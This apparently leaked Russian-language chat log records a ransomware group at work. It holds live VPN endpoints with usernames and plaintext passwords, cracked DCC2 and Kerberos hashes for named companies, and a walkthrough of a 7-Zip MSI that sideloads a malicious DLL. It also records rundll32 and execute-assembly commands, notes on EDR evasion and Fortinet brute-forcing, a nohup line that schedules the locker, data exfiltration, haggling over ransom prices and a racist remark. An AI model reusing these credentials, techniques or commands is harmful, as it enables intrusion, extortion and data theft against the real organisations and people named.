parallax.com

> <@usernamemm:matrix.bestflowers247.online> sent a file.

`204.14.13.5:10443`

nfllp.com - просят листинг

++

> <@usernamegg:matrix.bestflowers247.online> nfllp.com

keystonetech.com

да он ахуел

ставит мне условие

сбавь цену или я не буду говорить с начальником

мудила, ты не в том положении чтобы выёбваться

там дохуя даты

я смотрел вчера

пэйроллы, котранкты - там целая аглломерация

ага - кстати да

ща напишу

уже видно, что с мыло и пасса циско не набрать

но пусть чекает, пока что ничего не нашлось

на браузере есть)

`gomaco.com`

> <@usernamemm:matrix.bestflowers247.online> sent a file.

* Pbh@2018

VALID_need.txt

ultrafab.com норм вроде

а, хотя этот доступ и у меня был

Key_kekhash.txt

citrix

privet

bank prishlo

no ne uspel zayti

skoro budut

idyot traff

++

> <@usernamegg:matrix.bestflowers247.online> если что то будет в чат сразу скидывай нам доступ

> <@usernamegg:matrix.bestflowers247.online> кемиран писал тебе ?

ok

ponyal

ok skinu zhirnie)

`igreenberg:$DCC2$10240#igreenberg#6e6a430cbb07979207a1a4fe8399a0cb`

карчое сделал я msi, щас опишу суть

Кароче смотри, этот msi, он по сути точно такой же как и msi от 7zip, когда с офф сайта скачиваешь ,все файлы одинаковые

то есть я взял все файлы 7zip и поместил и в msi с такой же структурой

но dll я заменил на свой

и добавил запуск exe от 7zip, с флагом B

сам EXE когда запускается тянет из длки своей функции, чтобы распаковать архив и так далее

а вместо этой длки идет наша

и как бы запускается легетимное приложение

7zip

и запускает нашу длку само

и процесс установки легетимный

щас дам пример тебе

по сути это dll side loading

прост очутка доработаный

ну и упаковано все красиво в msi

там тестовая длка если что

kidmQ.msi

она прост опри запуске показывает OK

и потом 7zip показывает ошибку

и все

вместо OK будет выполняться наша длка

то есть

бот

он будет уходить в другие прцоессы сразу

потому что у нас дрпоерры

а что там ?

вот в этом уже вопрос

я думаю попробовать PDF

и там ссылка на msi

и чтобы ее скачивали

+

но это старо как мир

поэтому есть сомнения по этому методу

сама msi можно сказать новая

я не думаю что кто то такое делал

+

но вот по способу распространения надо подумать

по описанию она бьется как Explorer PDF (тут рандом)

ну кароче описание каждый раз рандомное

из файлов внутри только наша длка будет менятся

остальные файлы не надо менять они все подписаные от 7zip

принял

+

у вас есть ссылки куда пролить msi?

> <@usernamegg:matrix.bestflowers247.online> ultrafab.com https://24.39.171.110:10443 igale dragon71

msi боевая есть

надо только пролить, pdf сделать и все

лапа не занят сейчас?

ага

```

ca7ab8e07cdae9101332c9cf076653f0

длку вчерашнюю если что вязл

она чистая

нужно пока на сетках проверить

отстучит ли с реальной сетки msi этот

Archive: TRAFF_GG_MSI_TO_DLL_3_18d264ca03df45dcbe37a758193806c7; PASS: BZ5Z4YqfHRiRwr2Obow0an1woHB98pKZ

вот MSI

TRAFF_GG_MSI_TO_DLL_3_18d264ca03df45dcbe37a758193806c7.7z

там 3 штуки для теста

$DCC2$10240#dgil#e2027c6ebf9908b02950c016a906374b:Sistemas30

* `$DCC2$10240#dgil#e2027c6ebf9908b02950c016a906374b:Sistemas30`

CISCO_BRUTED_VALID_ITEMS.txt

с брута быстрее нашло. а с мыла и пасса до сиз пор ничего

видимо мыло и пасс под циско не подходят

`$DCC2$10240#unityadmin#cdeff6c5df32d7bd8390a83347e41925:Colon2000`

да, можешь проливать и линку дать

я посмотрю по avcheck линку

и попробую скачать без пдф

чисто посмотреть как с MOTW Отыграет

просто msi еще не подписана

ну там мелоч вроде

давай

жду

1 какой то запусти просто

ну проверьте на сетках

нет смысла чекать на обычном дедике

> <@usernameww:matrix.bestflowers247.online> sent a file.

++

скажешь как запустишь, я проверяю сразу

+

он меньше, ща его поставлю в первую очередь

```

2 раза один процесс добавил

+

вроде вы еще где-то пытались запустить msi

у вас пароль от админа запросило

ну серта же нет

msi без серта орет всегда

запустил?

> <@usernamegg:matrix.bestflowers247.online> у меня пасс от админа запросила

а ты запустил в итоге?

там надо more info

и потом run anyway

серт снимает motw предупреждение и smartscreen

`rzrmon:$DCC2$10240#rzrmon#e2832714f4a6e9ab11c605d2d459f757`

newspaperarchive.com

хуйня какая то

RENESAS-DOMAIN_outfile.csv

`execute-assembly processes.exe -threads 5 -pingtimeout 30 -proctimeout 60 -fromfile c:\users\public\list.txt -throttle 5 -outresult c:\users\public\ALLBAU_outfile.xls`

вот запуск

так

aerocharter.mx 42M Xuynya

пустые без - это не смог сервис включить

мексика

если нужен отдам

я просто не смог там чтото найти

ну айл отличается оттого что ты в команде написал

это точно тот?

я изменил название

подумал что в этом дело

толи правда там мелкая сеть, толи какой то кортель

у NN тоже самое

processes.exe

вот попробуй

у меня тут проебов дохуя было

путые rows не должны вобще записываться там где - не стоит

Cannot enable service: 192.169.166.71

такие почему то вносило в список выдачи

и у них фулл пустые линии

их щас пришлось еще чистить руками

до этого же ты не вносил их в выдачу

до этого другой способ вывода был, сейчас таблица

VALID_corps_randomize.txt

ну есть валид с файла

corps_randomize.txt

но ща там два доступа уже у вас есть

сделаю так, чтобы с их файлов дублей не было

потому что так то у нас есть этим мыло и пассы

> <@usernamett:matrix.bestflowers247.online> 12_443_x86

12_443_x86.zip

> <@usernamess:matrix.bestflowers247.online> disabler.exe

> <@burito:matrix.bestflowers247.online> sent a file.

> <@burito:matrix.bestflowers247.online> после крипта крашит(

> <@usernamett:matrix.bestflowers247.online> ++

++

не зови, упали гейты эи

можешь пожалуйста узнать у селлера что не так с ними

они вроде бы даже засвечены не были нигде

вся инфра свалилась когда эти 3 отказали

rundll32.exe dll.dll,SetLocalStorage

12_443_x64.zip

сорри что долго

`article.com`

> <@usernamess:matrix.bestflowers247.online> sent a file.

1.7z

nzeMVqIPGvKTwVFetMYxxcfXmhxRkHRNSEsMgLNzChHEbFvvMU

строка

> <@usernamegg:matrix.bestflowers247.online> форти еще собирает ?

> <@usernamett:matrix.bestflowers247.online> sent a file.

с брутта что-то не очень

2.7z

ну форти брутить тяжело

nzeMVqIPGvKTwVFetMYxxcfXmhxRkHRNSEsMgLNzChHEbFvvMU

тупа из-за того, что после каждой авторизация переподключаться нужно

> <@usernamegg:matrix.bestflowers247.online> https://207.191.202.146:4433 bkinseth Lisamar1!

++

> <@usernamett:matrix.bestflowers247.online> sent a file.

3.7z

nzeMVqIPGvKTwVFetMYxxcfXmhxRkHRNSEsMgLNzChHEbFvvMU

ну я уже вижу, что у него мыло и пасс на наше схоже)

++

но пусть сбрасывает все равно

чего-то все равно может не будет

+

да, вот берите прям по этим доменам

что грузнуть ?

давай кобу пвш

$DCC2$10240#rso-spfarmadmin#3fc7b09c00383fbe8494ffa3dff5dac4

igf-inc.com - до скольки поднимать?

10_SMB

> <@usernamess:matrix.bestflowers247.online> sent a file.

ок

мин

ничего не трогал

запустил

наверное не сработал

что еще есть ?

Acceso denegado.

есть криптованная коба ?

я грузну екзе

только мне урл дай на екзе

у меня сервера пока нету

59a6978c1430da1be8f36bb893cf0727

зальешь ?

у меня все побанили просто

нужно покупать

> <@usernamenn:matrix.bestflowers247.online> ca7ab8e07cdae9101332c9cf076653f0

```

> <@usernamett:matrix.bestflowers247.online> ```

rundll32.exe dll.dll,LoadProcess

10_SMB_x64.zip

kekhash.txt

$krb5tgs$23$*dmsprod$egopharm.com$cifs/dms@egopharm.com*$8d9547874299565309c294a93e30ebbf$95e2d8.....458fc57a436098:dmsprod

++

$krb5tgs$23$*httpdmsprod$egopharm.com$HTTP/dms@egopharm.com*$b8a69b1..d942:httpdmsprod

++

мин

понимаю

тварина, не качается

если времени нет , давай завтра

я куда то проебал записи , когда лазил там

нужно заново все сделать

завтра подниму опять пассы, и загружу из компа уже

+

ну они как-то доставли доступ к доменам крупных компаний

* ну они как-то доставли доставли к доменам крупных компаний

* ну они как-то достали доступ к доменам крупных компаний

ладно, офнусь

до завтра

> <@usernamegg:matrix.bestflowers247.online> собирай на завтра форти

> <@usernamegg:matrix.bestflowers247.online> [20:57:07] AA: ну есть валид с файла

завтра уже поставлю

ну ок, подожду что-бы скачать

`Administrator:$DCC2$10240#Administrator#09cf313d93f216f949ea48e5ac037291`

```

```

> <@usernamemm:matrix.bestflowers247.online> sent a file.

++

ALPHV тоже накрыли фбр?

+

че то я пропустил эту новость

письмо на почту пришло нам

вот читаю

blackcat, да, накрыли их тоже в декабре на каникулах наших

> <@usernamegg:matrix.bestflowers247.online> наша очередь скоро ?)

за любую инфу о них на сайте государства назначена награда 15 млн$

да, ну про меня никто не знает

а вот как ты ноут оставляешь открытым...

у меня аж зубы скрипят

))

> <@usernameww:matrix.bestflowers247.online> `exigoop:$DCC2$10240#exigoop#c23feeed6e055752af3a5cc7fc099c5c`

++

Там что-то с серверами, который нам для вбрута выдали

не могу подконектится

ко всем трем

да кафешке, вот я приезжал там рабочие ходили (доверенные лица)

сейчас найду

1. \shared\Safety\6 week & FB101 trainee program\FLATBED 101\NEW PS – FB101 Rev 7.7.22.pptx - этот файл не найден! всеми способами искал возможными

другие заливаю

> <@usernamegg:matrix.bestflowers247.online> pstrans.com

dutyfree странная. даты на основном трасте не нашел. что не такчка с датой везде старье вплодь от 2006года, по шарп шаресу все прошел ниче не нашел.. хотел было в ручную идти какие то компы запрашиваются диски а какие то ошибку срут и даже не читаются, поставил качать мексиканскую дату с друго траста там нашел и свежая.. такие дела

`a082e8ed2231746a61f4067426e44c29`

ну я еще иду по тачкам в ручную на сколько это возможно но мне кажется ниче не найду.

с другого траста дата качается все норм

мексика

не особо быстро поставил сразу как нашел ее качать

и вернулся на основной траст

медленно качает 26 гиг всего скачалось за минт 50 где то

`cfitch:$DCC2$10240#cfitch#0c2c03c92be87d9e8718e82ce609a52e`

`tasker:$DCC2$10240#tasker#4edf34b4c89b14917908359aeeec15ee`

а можешь листинг дать по sierre lobo, плз

SLI на сервере

NA_adm_kekhash.txt

APAC_adm_kekhash.txt

$krb5tgs$23$*bexec$apac.ads.idt.com$MSSQLSvc/PENBACK2.apac.ads.idt.com:59418@APAC.ads.idt.com*$ece..9414b:bexec

$krb5tgs$23$*sqlagent$apac.ads.idt.com$MSSQLSvc/PENDULUM.apac.ads.idt.com:1433@APAC.ads.idt.com*$1141a5c3......ddcbc3c25a8873c2ce99:sqlagent

++

Не ответили по поводу серваков?

Готово rundll32 file.dll, SnxHk_InstallHook

4.7z

nzeMVqIPGvKTwVFetMYxxcfXmhxRkHRNSEsMgLNzChHEbFvvMU

пиздец ))) нашел я дату! забыли нэймы добавить! и по новой шары сняли вмесле со starage + 2к шар с датой. вся дата бэла в нэймах. сейчас поставлю качать ее если все ок...

NA_all_kekhash.txt

5 штук

CELENO_all_kekhash.txt

$krb5tgs$23$*SSOServiceAccount$celeno.com$STS/CELENO.COM@celeno.com*$4b99cff5e8aa0a3c404...14adaea490:Zaza48$$

++

```

```

$DCC2$10240#anie.rondeau#83bbbad8dca24a477406703932002de9:Welcome12

* ```

ну они видимо перезапустили, и все стопнулось(

* ну они видимо перезапустили ночью, и все стопнулось(

FORTI_VALID_REVENUE.txt

`185.219.221.136:41907`

я в 11 30 отслучусь на 1.5 часа где-то

```

VALID_need.txt

VALID_corps_randomize.txt

```

$DCC2$10240#tom.burns#7a58aebf073eb2f996a83ad89959761c:Welcome01

* --

в блоке

`Спасибо`

* ```

> <@usernamenn:matrix.bestflowers247.online> в блоке

для инж носка в кобу что нужно?

что там фалс или тру

*

userwx true

ты в профиле можешь сделать так чтоб изменилось

* ```

а то все кобы и во всех фалс

*

да

thx

185.219.221.136:36241

залил

*

`64.176.219.106:43089 NAS / SES`

LOGS_PASSWD.txt

хеши

$DCC2$10240#kap.coreop#483eb066f08e5f7d437d98813363243e:QA12ws#$

* '$DCC2$10240#kap.coreop#483eb066f08e5f7d437d98813363243e:QA12ws#$'

* $DCC2$10240#kap.coreop#483eb066f08e5f7d437d98813363243e:QA12ws#$

```

> <@usernamess:matrix.bestflowers247.online> ```

++

*

`n@sOU812`

если что, там процесс перезапускается

при самом первом запуске

ad_pass.txt

`pelikan.com` ++

`sermo.com`

12_443_x64.exe

Походу не чекало

aclaratech.com https://198.8.96.3:443 AMC cisco cisco

крупная вроде

++

```

> <@usernamegg:matrix.bestflowers247.online> ```

185.219.221.136:43559 DUTYFREEAMERICAS

нет

сложно

но брутить будет легче

CISCO_BRUTED_VALID_ITEMS.txt

вот что пока есть с брута

но брутить легче, потому что через одно соединение можно прогонять подбор(что уже быстрее будет)

спасибо)

+

185.219.221.136:38767

`64.176.219.106:33987 DUTYFREEAMERICAS`

`64.176.219.106:34689 DUTYFREEAMERICAS \\UETAINC`

> <@usernamenn:matrix.bestflowers247.online> ```

```

тут

+++

ждем эти, на них вся инфра стоит

CISCO_BRUTED_VALID_ITEMS_REVENUE.txt

две последние крупные вроде

```

* ```

```

привет

захожу

как могу тороплюсь

давай

я софт настраиваю

отлично

`185.219.221.136:38767`

Neladmin14

`Z7-SQLPRD5-SERV.lgihome.com 10.50.216.51 Windows Server 2008 R2 Standard`

`LGIHOME\da_nmasson Neladmin14`

```

LGIHOME\da_nmasson Neladmin14

зашел

* ```

*

нет. но уже подключаюсь

* 0x0100a26b4d53f1fed9a6ab6b7d0909e77e79e6ad97ca3924373a:POUser

ок

не конектит чтото

есть зашел

0x0100f634ad6079a7375d4518c3e9dcea896e27fe6d243e04ae00:tcreports

* ```

*

там админы прибежали

бд уже не работает

эх пораньше бы полазить по бд

там еще крипт карт может быть. с ним еще хз сколько разбираться

мне нужен только прокси для доступа к бд

да

нет. я ни скем не работал

один сниф поставл позавчера. там 1,5к-2к в месяц

+ можно восстановить еще на двух ресурсах, где мы копили прошлый раз

LinkShares отлично отработало

если что то будет не так CC мне напишет, внесу фиксы или надо будет почистить

транслит?)

чуть позже тебе исходник скину если что

чтобы у тебя тоже был

с CC списался, походу админы уже некоторые шары отрубили или что то еще

я пока тут пытаюсь найти в циско проверку на пользователя... чтобы проверять исть ли пользователь, а потом уже брутить пассы его. пока не получается такое найти

*

*

* ```

> <@usernamegg:matrix.bestflowers247.online> через час он по какому принципу запустит

ага, походу блок поставили уже, и показывает через symlink, только то к чему есть доступ с тачки

nohup sh -c 'sleep {locker_sleeps} && {tmp_file_name} {locker_params} {remove_command}' > /dev/null 2>&1 &

вот грубо говоря такой там процесс висит

т.е. sleep 3600 на нем висит

efcoforms.com ++

5400 даже

это почти 2 часа

но, они могут по сути войти туда

и убить этот процесс

STOP

> <@usernamegg:matrix.bestflowers247.online> а мы можем время менять через вебморду ?

процесс уже запущен

по идеи

можно просто все заново запустить

> <@usernamegg:matrix.bestflowers247.online> `https://portal-us.seagate.com/global-protect/login.esp:testuser:asd123`

remove all ssh сделать

и заново на них запустить

> <@usernamegg:matrix.bestflowers247.online> sent a file.

но как понял там уже ссх не пашут?

просто вы еще зачем-то слит слишком большой ставите

+

```

`https://193.84.142.100:443`

> <@usernamegg:matrix.bestflowers247.online> 715 M lasership.com https://38.122.162.18:443 jlalonde JLlaser09

image.png

> <@usernamegg:matrix.bestflowers247.online> https://193.84.142.100:443

ладно, значит не валид

нужны 946корп мыла-pass(md5)?

от https://atdi.com/

ну это мелка компания

* ну это мелкая компания

кстати я думаю мыло + хеш потом посмотрю

так-то hashcat прикольная прога, которая хеши расчшифровывает

ладно, я пока брутом этим занят

`exigoadmin:$DCC2$10240#exigoadmin#b3102bbb270222ef9e4c519d48fa1cbd`

```

`am-ind.com`

image.png

image.png

X 2024-02-28 в 15.54.38.jpg

kekhash.txt

> <@usernamegg:matrix.bestflowers247.online> ```

делаю

test.7z

> <@usernamegg:matrix.bestflowers247.online> test.exe

kinseth.com

> <@usernamegg:matrix.bestflowers247.online> sent a file.

185.219.221.136:38767

LGIHOME\srv-service-cssdb !H0llyw00d1

10.50.216.5

+

`66.170.47.42:10443:jbrown:Winter2023!`

```

нет, вы и впски не выдали новые

ну а есть с тех хешей что-то ?

просто уже дава дня слал

все что я собираю с просыла это хеши

у вас получилось взять какою-то сетки в работу?

```

ясно

нет смыла думаю их собирать все же

в итоге же не зашли никуда, чтобы в работу взять

сегодня не буду слать

для форти разбираюсь как брут сделать

чтобы в один коннект шлло

123.txt

> <@usernamegg:matrix.bestflowers247.online> sent a file.

1.7z

z4jWOF12J6IcxQLnLu03vWl8AhoZIbzmYu8nfT9DYbSorZX53D

строка

ага красиво там

`170.130.165.84`

я вот нашел запрос, где для брута будет норм

там форти не обрывает соединение

но авторизация зашифрована

enc=00b078b248a68a5b95d7a92fb05fb15aab0863256d566c0af70e2a171556ff6623757efbf7d59be6da58952b1e2f34e28d02a445e37cca267c7d837fadfc47a6f87004b94f5a0b9f24dff0022199642a5c2514b97aae10c3d3d52e1e7f3cbd3945f32759bf260000000000000000000000000000

вот такой запрос отправляется

и зашито там lmcintyre:carsonsburger22!

может кто знает, что это за шифрование такое

<info>

тут вроде как соль есть

> <@usernamegg:matrix.bestflowers247.online> test.exe

да

оно точно переменной длины

00b078b248a68a5b95d7a92fb05fb15aab0863256d566c0af70e2a171556ff6623757efbf7d59be6da58952b1e2f34e28d02a445e37cca267c7d837fadfc47a6f87004b94f5a0b9f24dff0022199642a5c2514b97aae10c3d3d52e1e7f3cbd3945f32759bf260000000000000000000000000000

т.е. длина меняется в зависимоти от данных

но для одних и тех же кредов разная строка все равно получается

> <@usernamegg:matrix.bestflowers247.online> в форти зашло сейчас с хешей

> <@usernamegg:matrix.bestflowers247.online> в форти зашло сейчас с хешей

`$DCC2$10240#Administrator#7e18b410978309930cd8b7e77d4e02a6`

`sermo.com`

`amicus.com.au`

`204.14.13.5,63432 EPASD\PShermeyer,STAFF-044-L STAFF-044-L\PShermeyer 123Ritter`

+

там еще те чекаются

> <@usernamegg:matrix.bestflowers247.online> может кто знает, что это за шифрование такое ?

> <@usernamegg:matrix.bestflowers247.online> находит ?

> <@usernamegg:matrix.bestflowers247.online> Больше инф, откуда снято

Да, скорее всего, на хеш не очень похож длина большая

+

CISCO_BRUTED_VALID_ITEMS_REVENUE.txt

с циско находит тоже

короч раз в сутки буду сбрасывать

123.txt

по сервакам пока что не отписывали?

+

тоже офнусь

pbhcpa.com

`alineainternational.com`

rundll32.exe C:\Programdata\svhost.dll,SnxHk_InstallHook

проверь кобу

Host: SERVERMOBILE | OS: Windows Server 2019 Standard 10.0 | Arch: x86_64 | User: NT AUTHORITY\SYSTEM

kekhash.txt

привет, я сегодня сравнивал детекты на X64 архитектуре и на X86

выяснил что детект уходит на X86

тестировал на одних и тех же стабах

на Cortex EDR

думаю как X86 сделаю, детекта не будет там

```

`bi&7^6@P3DNii]`

привет

a68e6f81-6afe-4c37-aa1e-e98a5234b5a7 - надо приват чат и в учетку dopoe2

Можно дунуть скататься?

https://blog.talosintelligence.com/vulnerability-roundup-feb-27-2024/

```

PBHCPA.LOCAL

`@pbhcpa.com`

`efcoforms.com`

> <@usernamegg:matrix.bestflowers247.online> remet.com

`$krb5tgs$18$$$*.:2029@*$1D8147310D4770F6EE615196$317ED19D93685FB3E6D9C57355563C14AB5151219F8365F67FD69E88AB30916A8447A370E4CA204D6D5D549B32459EFE1C471E801D25C5392085780D1DF82ABF5CDF82648BF63891573833BD453C8EAB3CC61140F502E9B384C56CC0BBE908CDCE60EB1BDB0CE649F0007695613DB43C4DA948DBDDB62491620781F2458924F83D45DAA2653A0BDCE96286A5C1DF94B965AB815A4A377CAAE82645611576962D89BC0D6D65D60D99CCC4ACAF1A29B8D90B696DF66A74297A6A8941E5C03F97AB72A220B8430001A3221D4D863921B80DAED1A521616D831E0D9CF882EC9E9BCCD8A4194C83BC6BE5077310BA12571AF3E540A0C8B4FEC6DBB69B628BFA9F62F2AD4461558A21B4F00CA9465569A5607C54812419396FEE49AA83915AB0535B1ECF83897963FFAC5CA18D9968BDEE7B89FD2FC3D38B44CC9A8D6D75190E2D11E742D654E9E1D048386BD20BD7BD7C0E8C69F14915BBDB95A3201C17215A4BAAC34FCCD6751FC5A57BBBF3525B19EDFFF7D7062D2B62934B88DDC58C548CE5A0F7A9F0ABB9E514040BFC6546D7BFAA49C20EE4EDBAE930AAD9304F39EF58C093755DDFDFA6E3170E08281C78BE268912DA395DD33316BCDD493024E2D5E8313687297592D82F6ED2639CF1B59CEADD263029B7E40FDC9B2914C1E158FBE06683CAC62AF8EC4EEAB84B294E11D6BCADEE36A967770CC08FFD7B0D99192D6B7D6D2256A509D4D8F0819EB9FD567128FAC7D671C325E63E994FFD505999670A8E235854587F443FBE7625129DC98C622EE2340039CE3971970AA17FC847EF5F022F872824BAEA07FEBF9208ECBA073743DA3CFAE2B996D89FE8766145604B30E87B9D0748B8DABC518A4124081B97ECBCB656C65D6F20A540F50F0E7190CEE89C7903415C54577B823D2821A8C27951676E2D87AB0D4AEF8BE2BE914A74E6E4009E8C281900DA4CFBDAAB23D07C0AA1F380071D2A3265DC2186E5A81CC9583A870310BB564E25FDE5A68B43F12C619F79778830963CC6B6777DDC35E7D2D44D975892E41747813E953E25DFD56B5897F63D2E2E3794A72B75EE824591407B79E9AB7D17557320F155B9658724E9E33F93BB9997F31813832D95807BEEC0071036C8486D7BC3CF0C51C5627285173228106D84F2106932B7AC483CEC0A194A27357B4556F9F7E83715BC52E1856EFE71E783A28B1F3298DB5DCF25F816F985B45B6403439C1EF2B4D64B4855753AEDA23B9AAC7C44ADFBE00A5054C1DCE67822E7DB2C91976F17FA94C5FB3188D5FFC59BD7857C6139AC6846871F5E0077CD97785A8463783DA7363D92F81FD354F3EAB2D179C6C37E15028B25A4F621AB43218EE5F464F0C41B1585F389756936ADBB8A3D7472967755A2F7C5EE3EAE0F15CA1B4A83294C1023FFAFD3B50003D1DA311A422134D3D84403A7480A3D4342BCDDFB41219292F30AC8A8B4DBBA83044ED5EBF32CD84F5753B48233DF0D2A507EAD971C934D30CBD8757EBDE27F0EE9A4BAE1CA4973E04B02A974D4FEB810E1B1F16C1DEDAB8A030606D91D7C8814C4648CE8999780EC3116DD3FB90DCFFD4914DD40705341FC86B03F7897F985C2589413AEA7492DBB051758C39F3A375C35EADC4EEA8921198C8321C8488662B071BF5B3DE4C070F940631E047AA025C6091A87CF1E966B3AB6C1CD71EAA8ADBFADC3D60B44603EEBA87388C7F1BC29DC20993AA20C31E53D9041F736F3CEEFB85C58396D19FE95C33F888FE034A8B8396A279DEBE16756C3FDB3`

сделал?

спс

пришло?

ага вижу их

5file.lockers.zip

muaddib6:burrito

Ок

igf-inc.com - это в убыток работают

судя по докам

логистика дорогая

willislease.com - этих послал - они не готовы цену даже назвать

это пиздец

выкручивают нам руки, ставят условия

++ спасибо

скинуть полные?

юзеров оставил, а где был домен подписал domain.local. так норм?

kekhash.txt

всё, вернул

думаю им и правда надо без декрипта дать цену

```

```

10DNS_x64

ок

`$DCC2$10240#bek38#cb04a44eaf5a076b19e2f685d25cf836:asdfgh01`

* ```

локер допилю

```

lcrs.7z

> <@usernameww:matrix.bestflowers247.online> 5file.lockers.zip

> <@usernamess:matrix.bestflowers247.online> 10DNS_x64

10DNS_x64.zip

`$DCC2$10240#ms450#77c7cc7cc17469494a8504fa5c7f8761:megpie1998`

`$DCC2$10240#ra183#69681eed3f61ecc9c5fce432610852cf:junior3rd@`

burrito: ++

kekhash2323.txt

dobroe!

доброе

Dobroe!

доброе

Доброе

доброе

Добхое

доброе

`64.176.219.106:35665 KEYSTONE`

`64.176.219.106:39365 KEYSTONE`

`64.176.219.106:44647 KEYSTONE FIZ`

эта пять серваков сетка эта была.. ) не удивительно. то что я вчера говорил. у нас еще куча сеток таких заявлено 67м конкретно в этой а по разбору и поиску даты сразу видно что у них столько не может быть.. бедолаги они, там нигеры одни работают.

CISCO_BRUTED_VALID_ITEMS_REVENUE.txt

FORTI_VALID_REVENUE.txt

если мне память не изменяет туда берут на работу всяких типов с исправительных учереждений много подобных доков видел там что то с криминалом связано..

VALID_2kkdomains.txt

VALID_need.txt

VALID_corps_randomize.txt

FORTI_BRUTED_VALID_REVENUE.txt

форти с мыла и пасса заканчиваются можно скачать

ну только чекаются еще, которые вы выдали